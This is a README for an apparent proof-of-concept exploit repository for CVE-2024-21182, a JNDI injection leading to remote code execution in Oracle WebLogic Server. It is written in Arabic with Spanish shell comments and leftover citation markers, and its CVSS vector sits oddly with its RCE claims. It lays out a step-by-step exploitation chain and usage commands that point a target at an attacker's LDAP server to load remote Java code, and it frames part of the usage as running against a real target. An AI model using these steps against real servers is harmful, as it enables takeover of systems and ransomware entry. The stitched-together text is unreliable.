CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE

CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE

📋 الوصف

CVE-2024-21182 هي ثغرة أمنية في حقن JNDI غير مصدق تؤثر على المكون الأساسي لـ Oracle WebLogic Server. تسمح لمهاجم عن بُعد، عبر بروتوكولات T3 أو IIOP، بتنفيذ تعليمات برمجية عشوائية (RCE) على الخادم، مما قد يمنحه وصولًا كاملًا إلى جميع بيانات الخادم[citation:5][citation:8][citation:9].

يحتوي هذا المستودع على إثبات مفهوم (PoC) وظيفي يوضح الاستغلال الناجح لتصحيح CVE-2023-21839 باستخدام سلسلة الأدوات AggregatableOpaqueReference + MessageDestinationReference[citation:2][citation:4].

🚨 تفاصيل الثغرة الأمنية

ناقل الهجوم

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• الشبكة (AV:N): قابل للاستغلال عن بُعد
• تعقيد منخفض (AC:L): بدون شروط خاصة
• بدون مصادقة (PR:N): وصول مجهول
• بدون تفاعل المستخدم (UI:N): استغلال سلبي

⚙️ مراحل الهجوم

المرحلة 1: الاستطلاع: التعرف على خوادم WebLogic التي تحتوي على منافذ T3/IIOP (7001) مكشوفة.

المرحلة 2: التحليل: تحديد ما إذا كان الخادم يقوم بتشغيل إصدار ضعيف (12.2.1.4.0 أو 14.1.1.0.0) أو يفتقر إلى تصحيح أكتوبر 2024.

المرحلة 3: الاستغلال (التدفق الفني):

1. بناء الأداة: يقوم المهاجم بإنشاء كائن AggregatableOpaqueReference[citation:2].
2. حقن المرجع: باستخدام الانعكاس (Java)، يتم تعديل الحقل الخاص referent للكائن السابق ليشير إلى MessageDestinationReference ضار[citation:4].
3. الربط والبحث: يتم "ربط" (bind) الكائن الضار في شجرة JNDI للخادم ثم "البحث"(lookup) عنه.
4. حل JNDI: عند البحث عن الكائن، يقوم الخادم بتنفيذ استعلام JNDI جديد ضد عنوان URL الذي يتحكم فيه المهاجم (خادم LDAP).
5. خادم LDAP: يستجيب بمرجع إلى كود Java مستضاف على خادم HTTP للمهاجم.
6. تنفيذ الكود: يقوم خادم WebLogic بتنزيل وإنشاء مثيل لفئة Java، وتنفيذ محتواها في سياق الجهاز الضحية.

🛠️ المتطلبات الأساسية

• Docker و Docker Compose: للبيئة الاختبارية المعزولة[citation:2].
• JDK 8 أو أحدث: لتجميع وتشغيل عميل T3.
• عميل T3 الخاص بـ WebLogic: wlthint3client.jar (يمكن استخراجه من تثبيت WebLogic).

🚀 استخدام PoC

بيئة المختبر (Docker)

# 1. Clonar el repositorio
git clone https://github.com/tu-usuario/CVE-2024-21182.git
cd CVE-2024-21182

# 2. Iniciar el laboratorio (víctima + atacante)
docker-compose up -d

# 3. Ejecutar la explotación automática
./validate.sh

الاستغلال ضد هدف حقيقي (مصرح به)

# 1. Iniciar el servidor LDAP/HTTP malicioso
python3 exploit/ldap_server.py

# 2. En otra terminal, ejecutar el payload Java
javac -cp ".:wlthint3client.jar" poc/CVE_2024_21182.java
java -cp ".:wlthint3client.jar" CVE_2024_21182 t3://<TARGET_IP>:7001 ldap://<ATTACKER_IP>:1389/Evil

📊 الأثر الموضح

• تنفيذ الأوامر عن بُعد (RCE) على الخادم
• وصول غير مصرح به إلى بيانات التطبيق الحرجة
• اختراق كامل لخادم التطبيقات
• بوابة محتملة للحركة الجانبية في الشبكة المؤسسية
• أساس لنشر برامج الفدية أو غيرها من الأحمال الضارة

الحالة الحالية وفقًا لـ CISA: "Known To Be Used in Ransomware Campaigns? Unknown" (ولكن عادةً نعم، فإن RCE في البرمجيات الوسيطة هي ناقل أولي في اختراقات برامج الفدية).

🛡️ التخفيف

• التصحيح فورًا: تطبيق تحديث التصحيح الحرج من Oracle لشهر أكتوبر 2024 أو ما بعده.
• تقييد الشبكة: منع/تقييد الوصول إلى منافذ T3/IIOP (مثل 7001) فقط من مصادر موثوقة.
• المراقبة: اكتشاف محاولات الربط/البحث غير المعتادة في شجرة JNDI.

⚠️ إخلاء مسؤولية قانوني

هذا الكود مخصص للأغراض التعليمية والبحثية فقط. الاستخدام غير السليم لهذا PoC ضد أنظمة دون إذن صريح هو غير قانوني. لا يتحمل المؤلف أي مسؤولية عن سوء استخدام هذه المعلومات.

📚 المراجع

• NVD - CVE-2024-21182
• CISA KEV Catalog
• Oracle Security Advisory
• التحليل الفني الأصلي

🤝 الإسناد

• الباحث الأصلي الذي اكتشف سلسلة الأدوات
• dinosn للمختبر القابل للتكرار في Docker